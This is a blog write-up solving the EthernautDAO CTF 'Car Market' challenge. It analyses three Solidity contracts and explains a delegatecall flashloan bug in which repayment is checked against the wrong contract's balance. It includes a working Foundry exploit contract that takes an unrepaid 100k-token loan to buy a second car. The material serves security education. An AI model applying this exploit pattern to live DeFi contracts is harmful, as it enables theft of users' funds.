EthernautDAO CTF — Car Market Solution

StErMi
7 min readJul 20, 2022

ΞthernautDAO is common goods DAO aimed at transforming developers into Ethereum developers.

They started releasing CTF challenges on Twitter, so how couldn’t I start solving them?

CTF 3: Car Market

The challenge start from this Tweet:

For this challenge, we have three different smart contracts to review:

CarToken: An ERC20 token to purchase Cars

This is the implementation of the CarToken contract There is a capped supply of 210,000 tokens. 10,000 tokens is reserved for the public User can only mint once

CarMarket: A Car marketplace where you can purchase Cars for CarToken

CarMarket is a marketplace where people interested in cars can buy directly from the company. To grow her userbase, the company allows first time users to purchase cars for free. Getting a free car involves, using the company’s tokens which is given to first timers for free. There is a problem however, malicious users have discovered how to get a second car for free. Your job is to figure out how to purchase a second car in a clever and ingenious way.

CarFactory: A contract that gives out flashloan to existing customers of the Car Company

This is a contract that handles crucial changes in the car company. It also gives out flashloans to existing customers of the car company.

At deployment time:

  • CarMarket owns 100_000 Car tokens
  • CarFactory owns 100_000 Car tokens
  • CarToken contracts allow each user to mint 1 Token for free (free mint)
  • The first purchase for each user will cost 1 Token
  • After the first purchase, each Car will cost 100_000 Token
  • We start with 0 Token in our balance

The goal for this challenge is to be able to mint and owns two different cars. This mean that we need to find a way to gather 100_000 Token to purchase the second car.

Study the contracts

Let’s start reviewing all the contracts code.

CarToken

This contract is a standard ERC20 token with a max supply of 210_000 tokens. After deployment

  • 100k will be sent to the CarMarket contract via priviledgedMint
  • 100k will be sent to the CarFactory contract priviledgedMint
  • 10k tokens will be available to be minted from end users via the mint

priviledgedMint allow the owner of the contract to mint _amount of tokens and send them to _to address. The function correctly check that only the owner can mint, and that minting _amount will not go over the total supply of the token.

mint allow the user to mint only once 1 token

CarMarket

This contract allows the users to purchase new cars. The cost of each car will be of 1 Token if it's the first purchase; otherwise it will cost 100_000 Token.

Let’s review each function

  • _carCost is a private utility function that return the Car price. If it's the first purchase (carCount[_buyer]) it will return 1 token otherwise it will return 100_000 token
  • purchaseCar is the function that allow the user to purchase the Car. It checks that the user has more or equal CarToken balance compared to the cost of the car (see _carCost). After the check, it transfers the tokens from the CarToken contract to the owner of the CarMarket contract, increase the carCount of the user and assign the purchased car to the user via the purchasedCars mapping. One thing to note: the function does not respect the Checks-Effects-Interactions Pattern, so this function could be prone to reentrancy. This is not the case, but if for example CarToken had been an ERC777 token this could have cause plenty of problems.
  • isExistingCustomer return true if the user has purchased already a car
  • other getter function to get the address of CarFactory, CarToken and the number of car purchased by a user

Then we have the fallback function implementation:

fallback() external {
carMarket = ICarMarket(address(this));
carToken.approve(carFactory, carToken.balanceOf(address(this)));
(bool success, ) = carFactory.delegatecall(msg.data);
require(success, "Delegate call failed");
}

First thing to remember: this code must not be used in production, this code MUST not be seen as a best practice, it’s just code made for a Solidity challenge!

The fallback function is a "special" Solidity function that is triggered when you call a non-existing function on a contract. In this case, the CarMarket contract will perform these operations:

  • approve the CarFactory as a spender of all the CarToken tokens in the CarMarket balance
  • execute a delegatecall on CarFactory passing the whole msg.data (calldata payload)
  • check if the delegatecall has been executed correctly, otherwise it will revert

CarFactory

This contract is pretty strange. It seems to be a proxy implementation for CarMarket but in reality the only thing that it does is to implement the flashLoan function that allow a customer to transfer _amount of CarToken, use them for something and then pay them back (a pretty normal flashloan operation but without any fee/collateral needed).

Let’s review the function’s code step by step:

function flashLoan(uint256 _amount) external {
//checks if the address has purchased a car previously.
require(carMarket.isExistingCustomer(msg.sender), "Not existing customer");
//fetches the balance of the carFactory before loaning out.
uint256 balanceBefore = carToken.balanceOf(carFactory);
//check if there is enough amount in the contract to borrow.
require(balanceBefore >= _amount, "Amount not available");
//transfers the amount to be borrowed to the borrower
carToken.transfer(msg.sender, _amount);
(bool success, ) = msg.sender.call(abi.encodeWithSignature("receivedCarToken(address)", address(this)));
require(success, "Call to target failed");
//fetches the balance of the carFactory after loaning out.
uint256 balanceAfter = carToken.balanceOf(carFactory);
//ensures that the Loan has been paid
require(balanceAfter >= balanceBefore, "Loan not paid in full");
}

First thing to remember is that this function will be executed through CarMarket via the fallback function.

  1. it checks that the msg.sender is a CarMarket customer (you must have purchased at least one car)
  2. Store the carFactory CarToken balance in balanceBefore
  3. Check that the _amount requested for the loan is less or equal to the balance of token of CarFactory (from which you are taking the loan from)
  4. Transfer _amount of CarToken from the contract to the msg.sender
  5. Execute the flashloan callback receivedCarToken on the msg.sender contract
  6. Get the new and updated carFactory balance of CarToken
  7. Check that balanceAfter is greater or equal of balanceBefore. This check is needed to be sure that after executing the callback, the msg.sender has repaid the loan.

You could think that you could execute the flashloan directly (given that CarFactory has 100k token in its balance) on the CarFactory address (instead of passing by the CarMarket contract) but it will fail because carToken.balanceOf(carFactory) will return 0 given the fact that carFactory on the CarFactory contract is address(0). This mean that the function will revert of the next instruction that check require(balanceBefore >= _amount, "Amount not available");. I mean you could do that but the only way to not make it revert would be to ask a flashloan of 0 tokens, it would be just a waste of gas :D

The Problem

After reviewing all the contracts and some functions in detail, have you spotted the problem?

The flashloan flow is like this:

  1. We make a low-level call to CarMarket to trigger the CarMarket.fallback function that will perform execute the flashLoan implementation on CarFactory via delegatecall
  2. The function check that there are enough tokens in the CarFactory balance
  3. Perform the transfer from the contract to the user
  4. Execute the receivedCarToken callback on the caller
  5. Check the CarFactory balance to see if the user has correctly paid the loan

The big bug here is that the flashloan's transfer is performed by CarMarket (remember that the function is executed via a delegatecall) but the function check only CarFactory balance.

Solution code

Now what we have to do is:

  • Create an Alchemy or Infura account to be able to fork the Goerli blockchain
  • Choose a good block from which we can create a fork. Any block after the creation of the contract will be good
  • Run a foundry test that will use the fork to execute the test

Here’s the code that I used for the test:

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;
import "./utils/BaseTest.sol";
import "src/CarFactory.sol";
import "src/CarMarket.sol";
import "src/CarToken.sol";
contract CarMarketTest is BaseTest {
CarFactory private carFactory;
CarMarket private carMarket;
CarToken private carToken;
constructor() {
string[] memory userLabels = new string[](2);
userLabels[0] = "Alice";
userLabels[1] = "Bob";
preSetUp(2, 100 ether, userLabels);
}
function setUp() public override {
// Call the BaseTest setUp() function that will also create testsing accounts
super.setUp();
// Attach the contract to the addresses on the fork
carFactory = CarFactory(payable(0x012f0c715725683A5405B596f4F55D4AD3046854));
carMarket = CarMarket(payable(0x07AbFccEd19Aeb5148C284Cd39a9ff2Ac835960A));
carToken = CarToken(payable(0x66408824A99FF61ae2e032E3c7a461DED1a6718E));
vm.label(address(carFactory), "CarFactory");
vm.label(address(carMarket), "CarMarket");
vm.label(address(carToken), "CarToken");
}
function testTakeOwnership() public {
address player = users[0];
vm.prank(player); // Deploy the exploit contract
Exploiter exploiter = new Exploiter(carFactory, carMarket, carToken);
// Assert that our user has 0 car purchased
assertEq(carMarket.getCarCount(address(exploiter)), 0);
// Trigger the exploit!
exploiter.startAttack();
// Assert that our user has 2 car purchased (success)
assertEq(carMarket.getCarCount(address(exploiter)), 2);
}
}
contract Exploiter {
CarFactory private carFactory;
CarMarket private carMarket;
CarToken private carToken;
constructor(
CarFactory _carFactory,
CarMarket _carMarket,
CarToken _carToken
) {
carFactory = _carFactory;
carMarket = _carMarket;
carToken = _carToken;
// Approve the carMarket to be able to use all the needed token
// Usually it would be better to single approve only the amount needed for the purchase
// So in total it would be 1 token for the first purchase + 100k tokens for the second one
carToken.approve(address(carMarket), 100_001 ether);
}
function startAttack() public {
// mint free cartoken
carToken.mint();
// puchase our first car with the "free" minted token
carMarket.purchaseCar("blue", "ford mustang", "leet");
// Trigger the flashloan of 100k tokens
(bool success, ) = address(carMarket).call(abi.encodeWithSignature("flashLoan(uint256)", 100_000 ether));
require(success, "flashloan failed");
}
function receivedCarToken(address) external {
// Purchase a new car with the 100k token we received with the loan
carMarket.purchaseCar("red", "ferrari", "aloah");
// in a normal flashloan we would be forced to give back the loan (plus some fee on the loan itself)
// but in this case because the deployer made the error to check the balance on the wrong contract (not the one that was sending the loan)
// we do not need to give it back
}
}

Here is the command I have used to run the test: forge test --match-contract CarMarketTest --fork-url <your_rpc_url> --fork-block-number 7248020 -vv

Just remember to replace <your_rpc_url> with the RPC URL you got from Alchemy or Infura.

You can read the full solution of the challenge, opening CarMarket.t.sol

Further reading

Disclaimer

All Solidity code, practices and patterns in this repository are DAMN VULNERABLE and for educational purposes only.

I do not give any warranties and will not be liable for any loss incurred through any use of this codebase.

DO NOT USE IN PRODUCTION.

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StErMi

#web3 dev + auditor | @SpearbitDAO security researcher, @yAcademyDAO resident auditor, @developer_dao #459, @TheSecureum bootcamp-0, @code4rena warden